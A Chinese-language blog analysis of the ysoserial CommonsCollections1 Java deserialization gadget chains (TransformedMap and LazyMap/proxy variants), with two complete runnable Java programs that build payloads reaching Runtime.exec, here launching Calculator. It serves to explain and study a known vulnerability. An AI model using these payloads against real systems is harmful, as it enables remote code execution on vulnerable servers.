0%

ysoserial分析之CommonsCollections1

在上一篇文章中,分析了使用commons-collections用来进行RCE的原理。那么在实际情况中,需要找到一个反序列化链来RCE。这篇文章分析的就是CommonsCollections1。让我们来看看它是如何构造反序列化链的。

需要找到一个符合一下条件的类,并且在服务端有反序列化的入口,就可以RCE了。

  • 该类重写了readObject方法
  • 该类的readObject方法中操作了TransformedMap,比如调用setValue、put、putAll

搜索了一下调用transform的位置,最有可能被利用的就是LazyMap.get、TransformedMap.checkSetValue,其中checkSetValue会在Entry.setValue函数被调用的时候调用。定位到TransformedMap的父类AbstractInputCheckedMapDecorator中的MapEntry类的setValue方法:

可以看到调用了checkSetValue方法。因此需要在被重载的readObject函数中发现相关可控Map数据的操作(LazyMap.get和Entry.setValue)。对应的对于CommonsCollections1有了2种利用链。

01 TransformedMap.checkSetValue

先来看第一种,利用TransformedMap.checkSetValue。整个的利用链如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next.setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()

利用条件:

  • <= JRE 8u72
  • commonscollections:3.1, 3.2, 3.2.1

参考:CommonsCollections deserialization attack payloads from ysoserial failing

commonscollections:3.2.2中对不安全的Java类的反序列化增加了开关,默认为关闭状态。比如InvokerTransformer。

利用链分析

CommonsCollections1反序列化调用链最外层利用的是AnnotationInvocationHandler类(sub.reflect.annotation.AnnotationInvocationHandler)。它实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口。

首先定位到AnnotationInvocationHandler类的readObject函数。可以看到在readObject函数中361行调用了setValue方法且是在Entry中调用的,Entry var5又来自this.memberValues.entrySet().iterator()

因此当获取到this.memberValues为TransformedMap时,就调用了Entry.setValue,从而到了TransformedMap.checkSetValue方法

看到checkSetValue方法中的this.valueTransformer.transform(value)就到了熟悉的Transformer了。到这里整个利用链就结束了。

memberValues是AnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject()时反序列化生成的。可以通过在var1.defaultReadObject()下断点,进入defaultReadObject()函数中,在经过defaultReadFields()后,memberValues值被赋为传入的TransformedMap如下图所示:

payload构造

首先实例化出一个TransformedMap对象,其中this.valueTransformer为构造的TransformedChain对象。代码如下:

1
2
3
Map map = new HashMap();
map.put("value","value");
Map transformedMap = TransformedMap.decorate(map,null,transformedChain);

然后在AnnotationInvocationHandler对象反序列化时需要使得this.memberValue为TransformedMap对象。看一下AnnotationInvocationHandler的构造函数。

传入一个注解类以及Map类。创建AnnotationInvocationHandler对象。因为AnnotationInvocationHandler是一个内部API专用的类,在外部无法通过类名创建实例,需要通过反射的方式创建出AnnotationInvocationHandler对象。代码如下:

1
2
3
4
5
6
7
Class clazz = Class.forname("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

constructor.setAccessible(true);

Object instance = constructor.newInstance(Target.class, transformedMap);

创建时map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名。比如创建AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target,那么map的key必须是@Target注解中的方法名,即: value。至于为什么传入Target注解而不是其他注解,传入其他注解如@Retention也可以,@Retention注解中的方法名也是value。

通过分析可知,在readObject()函数中,Map类型的var3是key为value,值为class。在357行中,若var6的值为”ananaskr”,而不是”value”,获取到的var7为空。从而在后面的if判断中,无法进入setValue的执行。

完整的攻击demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;

import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};

Transformer transformedChain = new ChainedTransformer(transformer);

Map<String,String> beforetransMap = new HashMap<String,String>();
beforetransMap.put("value","value");

Map transformedMap = TransformedMap.decorate(beforetransMap,transformedChain,transformedChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor ctor = clazz.getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class,transformedMap);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(instance);
out.flush();
out.close();

byte[] bytes = baos.toByteArray();
System.out.println(Arrays.toString(bytes));

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();
}
}

结果如下所示:

02 LazyMap.get

此外,能够调用transform方法的还有LazyMap.get方法。在ysoserial中的commonsCollections1中就是利用这种方式产生payload。那么如何调用LazyMap.get方法呢?这里利用到了AnnotationInvocationHandler.invoke函数。先来看看整个的反序列化利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
->AnnotationInvocationHandler.readObject()
->this.memberValues.entrySet().iterator()
->LazyMap.get()
->this.factory.transform(key)
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()

利用链分析

既然利用的是AnnotationInvocationHandler.invoke函数,那么就来看看这个函数

可以看到78行this.memberValues.get(var4),当memberValues为LazyMap即可调用transform方法。LazyMap.get函数如下所示:

但是如何调用invoke函数呢,在这里就介绍到了Java中的Proxy动态代理机制,在该机制下被代理的实例不管调用什么类方法,都会先调用invoke方法。关于动态代理的详细介绍自行查看。

现在只需要找一个调用Map的任何方法地方,还是定位在AnnotationInvocationHandler类的readObject函数。

看到352行中,对Map对象调用了entrySet方法,因此只需要使得this.memberValues为构造好的动态代理Map类即可。到这里整个利用链分析就结束了。

payload构造

Transformer链前面分析过,这里从构造LazyMap对象开始。构造LazyMap对象的代码如下:

1
Map lazyMap = LazyMap.decorate(beforetransMap,transformedChain);

然后是构造动态代理类,主要的中心思想是使用AnnotationInvocationHandler代理目标LazyMap对象。传入被代理的目标,实例化AnnotationInvocationHandler。最后借助Proxy类的newProxyInstance方法来动态生成代理类。代码如下:

1
2
3
4
5
6
7
8
ClassLoader classLoader = lazyMap.getClass().getClassLoader();
Class[] interfaces = lazyMap.getClass().getInterfaces();

Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class,lazyMap);

Map mapProxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, handler);

到这里动态代理类对象mapProxy就构造完了,最后实例化AnnotationInvocationHandler类,传入动态代理类对象mapProxy。

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctorr = clazz.getDeclaredConstructors()[0];
ctorr.setAccessible(true);
Object instance1 = ctorr.newInstance(Override.class,mapProxy);

完整的攻击demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};

Transformer transformedChain = new ChainedTransformer(transformer);
Map<String,String> beforetransMap = new HashMap<String,String>();
Map lazyMap = LazyMap.decorate(beforetransMap,transformedChain);
ClassLoader classLoader = lazyMap.getClass().getClassLoader();
Class[] interfaces = lazyMap.getClass().getInterfaces();

Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class,lazyMap);

Map mapProxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, handler);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctorr = clazz.getDeclaredConstructors()[0];
ctorr.setAccessible(true);
Object instance1 = ctorr.newInstance(Override.class,mapProxy);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(instance1);
out.flush();
out.close();

byte[] bytes = baos.toByteArray();

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();

}

}

结果如下:

参考